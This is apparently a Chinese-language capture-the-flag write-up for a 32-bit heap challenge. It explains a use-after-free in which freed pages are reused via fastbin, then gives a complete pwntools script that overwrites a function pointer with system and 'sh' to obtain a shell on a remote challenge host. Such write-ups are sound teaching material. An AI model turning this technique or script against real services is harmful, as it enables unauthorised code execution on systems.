正常的增删改查功能

add 中创建一个堆放入 page 在数组之中的,v1 作为计数变量,每添加一个都自增

show 函数中输入 0 时会调用

(*((void (__cdecl **)(char *))page + 1))(page);

程序是 32 位使用 page+1 = page 地址+4

page[4]=函数名

page[0]=参数

此时就是需要修改 page[0]=sh\x00\x00+system 地址

使用sh\x00\x00 是因为只能存入 4 字节/bin/sh\x00 超出 4 字节

但是在 edit 函数中我们无法直接去修改 page[0] 中的值

del 函数中 free 未置 0

但是 v1 这个计数单位也未置 0

此时我们可以用到堆中的机制

先创建一个 chunk1,再释放掉 chunk1,此时在申请一个 chunk2

chunk2 使用的还是 chunk1 的地址,因为申请一个比较小的堆块时会在 fastbin 中先进行查找有没有对应 size 的堆块,如果有那就申请出来

所以我们可以利用此机制去修改 chunk1,此时修改 chunk1 就是在修改 chunk0 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import * #引用pwntools库
from LibcSearcher import *
misaki=0
if misaki:
context(log_level='debug',arch='amd64',os='linux')
else:
context(log_level='debug',arch='i386',os='linux')
ming=1
if ming:
p=remote('node4.anna.nssctf.cn',28325)#配置远程连接node4.anna.nssctf.cn:28325
else:
p=process("./")#配置本地连接:

def s(a):#发送
p.send(a)
def sl(a):#带\n发送
p.sendline(a)
def sa(a,b):#直到接收到a后发送b
p.sendafter(a,b)
def sla(a,b):#直到接收到a后发送b带\n
p.sendlineafter(a,b)
def r():#接收
p.recv()
def rl(a):#等待到接收到a
return p.recvuntil(a)
def m():#调用gdb
gdb.attach(p)

def add():
sla(b':',b'1')

def free(idx):
sla(b':',b'3')
sla(b'Input page\n',str(idx))

def edit(idx,data):
sla(b':',b'2')
sla(b'Input page\n',str(idx))
sla(b'Input your strings\n',data)

def show(idx):
sla(b':',b'4')
sla(b'Input page\n',str(idx))
###############################################
len=0X90

add()
free(0)
add()
edit(1,b'sh\x00\x00'+p32(0x08048642))
show(0)
p.interactive()#与程序交互